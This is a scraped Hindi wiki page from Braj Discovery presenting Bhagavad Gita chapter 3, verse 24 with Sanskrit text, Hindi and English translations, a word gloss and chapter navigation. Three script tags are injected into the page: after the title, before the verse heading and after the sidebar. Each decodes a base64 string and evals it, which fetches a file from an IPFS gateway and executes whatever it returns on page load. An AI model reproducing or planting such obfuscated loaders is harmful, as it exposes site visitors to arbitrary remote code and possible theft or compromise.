ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ
खोज पर जाएँ
|
|
पंक्ति १: |
पंक्ति १: |
− | {{menu}}<br /> | + | {{menu}} |
| <table class="gita" width="100%" align="left"> | | <table class="gita" width="100%" align="left"> |
| <tr> | | <tr> |
०९:५४, ५ जनवरी २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-3 श्लोक-24 / Gita Chapter-3 Verse-24
प्रसंग-
इस प्रकार तीन श्लोकों में कर्मों को सावधानी के साथ न करने और उनका त्याग करने के कारण होने वाले परिणाम का अपने उदाहरण से वर्णन करके, लोकसंग्रह की दृष्टि से सबके लिये विहित कर्मों की अवश्य-कर्तव्यता का प्रतिपादन करने के अनन्तर अब भगवान् उपर्युक्त लोक संग्रह की दृष्टि से ज्ञानी को कर्म करने के लिये प्रेरणा करते हैं-
उत्सीदेयुरिमे लोका न कुर्यां कर्म चेदहम् ।,
संकरस्य च कर्ता स्यामुपहन्यामिमा: प्रजा: ।।24।।
|
इसलिये यदि मैं कर्म न करूँ तो ये सब मनुष्य नष्ट-भ्रष्ट हो जायँ और मैं संकरता करने वाला होऊँ तथा इस समस्त प्रजा को नष्ट करने वाला बनूँ ।।24।।
|
If I cease to act, these worlds will perish nay, I should prove to be the cause of confusion, and of the destruction of these people.(24)
|
चेत् = यदि ; अहम् = मैं ; कर्म = कर्म ; न = न ; कुर्याम् = करूं (तो) ; इमे = यह सब ; लोका: = लोक ; उत्सीदेयु: = भ्रष्ट हो जायं ; च = और (मैं) ; संकरस्य = वर्णसंकरका ; कर्ता ; करनेवाला ; स्याम् = होऊं (तथा) ; इमा: = इस सारी ; प्रजा: = प्रजाको ; उपहन्याम् = हनन करूं अर्थात् मारनेवाला बनूं ;
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|